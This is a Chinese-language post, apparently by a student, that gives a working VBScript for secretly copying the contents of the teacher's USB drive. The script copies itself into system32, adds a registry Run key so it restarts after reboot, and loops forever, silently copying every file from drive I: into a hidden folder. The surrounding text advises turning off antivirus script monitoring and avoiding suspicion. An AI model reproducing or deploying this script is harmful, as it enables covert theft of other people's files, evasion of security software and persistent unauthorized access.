On Error Resume Next ‘忽略異常，否則可能會(huì)有錯(cuò)誤提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘創(chuàng)建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘聲明變量n
Set dir = fso.GetSpecialFolder(1) ‘讀取system32文件夾路徑
fso.GetFile(WScript.ScriptFullName).Copy(dir"\copy.vbs") ‘讀取自身文件名，并復(fù)制自己到system32文件夾，重命名為copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘聲明變量r，用于讀寫(xiě)注冊(cè)表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘為腳本添加啟動(dòng)項(xiàng)
fso.CreateFolder("c:\windows\explorer") ‘創(chuàng)建文件夾，用來(lái)存放U盤(pán)文件
for i = 1 to 2
i = 1 ‘看出來(lái)了么，這是個(gè)死循環(huán)，變量i不可能到2，所以可以不斷檢查U盤(pán)并復(fù)制內(nèi)容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘復(fù)制I盤(pán)(U盤(pán)盤(pán)符)所有文件到指定文件夾
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘復(fù)制I盤(pán)所有文件夾到指定文件夾
wscript.sleep 10000 ‘掛起10秒，此屬性單位為毫秒
next
把上述內(nèi)容存為kubau0.vbs，才幾百字節(jié)。
提示一點(diǎn)，因?yàn)槟_本內(nèi)容有對(duì)注冊(cè)表和文件的操作，所以執(zhí)行時(shí)要把殺毒軟件的網(wǎng)頁(yè)或腳本之類(lèi)的監(jiān)控關(guān)掉，否則會(huì)不客氣的彈出個(gè)對(duì)話框問(wèn)你是否執(zhí)行，如果引起老師懷疑的話……那你就節(jié)哀吧。
現(xiàn)在，只要在目標(biāo)機(jī)上執(zhí)行一次腳本（什么？沒(méi)反應(yīng)？當(dāng)然不會(huì)有了！看看進(jìn)程列表，如果有一個(gè)wscript.exe就說(shuō)明已經(jīng)執(zhí)行成功了），腳本執(zhí)行會(huì)停留在死循環(huán)里，每隔10秒復(fù)制一次文件到C:\windows\explorer\文件夾(間隔時(shí)間和目標(biāo)文件夾均可自行設(shè)置)，重啟后會(huì)自動(dòng)執(zhí)行，且不會(huì)有任何異常提示，畢竟安全才是最重要的嘛！這也是VBS的特點(diǎn)，一切悄無(wú)聲息。
不過(guò)腳本也不是沒(méi)有缺點(diǎn)，那就是在復(fù)制文件的時(shí)候U盤(pán)燈會(huì)狂閃不止，且機(jī)器運(yùn)行速度會(huì)明顯變慢，且無(wú)法通過(guò)安全刪除硬件來(lái)停止U盤(pán)，不過(guò)好在老師們多是才鳥(niǎo)(才鳥(niǎo)？什么東西？有才的菜鳥(niǎo)？)，但是如果哪位高手能幫我解決，還請(qǐng)不吝賜教！
另外，別以為復(fù)制完就萬(wàn)事大吉了，最好定期刪除沒(méi)用的文件，否則目標(biāo)文件夾會(huì)急劇膨脹，比如我們班，一星期下來(lái)就超了1G，很恐怖！